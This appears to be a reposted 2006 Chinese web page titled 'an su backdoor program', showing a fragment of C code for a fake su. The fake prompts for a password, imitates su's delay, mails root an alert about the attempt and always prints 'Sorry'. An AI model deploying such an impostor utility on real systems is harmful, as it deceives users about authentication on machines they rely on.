一个su后门程序
2006-07-03 20:27:34 来源:WEB开发网key = (char *)getpass ("Password: ");
/*
* Also, send email here, to add to the "feel" of delay...
*/
sendmail (argc, argv);
(void)crypt (key, "XX");/* Look and feel tactic */
/*
* Of course, we knew this was coming!
*/
printf ("Sorry\n");
exit (1);
}
/*
* sendmail()
* Blast off an email message about this attempt. Quick and sweet
*/
sendmail (argc, argv)
char **argv;
{
FILE *pbuf;
long Clock;
if (access ("/usr/bin/mail", 0))
return (0);
if ((pbuf = popen ("/usr/bin/mail root", "w")) == NULL)
return (0);
time (&Clock);
fprintf (pbuf, "\nSECURITY VIOLATION NOTICE:\n\n");
fprintf (pbuf, "Attempt failed to run su by %s from %s %s",
uname, tname, ctime (&Clock));
fprintf (pbuf, "User tried to become %s using su\n",
(argc > 1 ? argv[1] : "root"));
fprintf (pbuf, "\n.\n");
pclose (pbuf);
return (1);
}
更多精彩
赞助商链接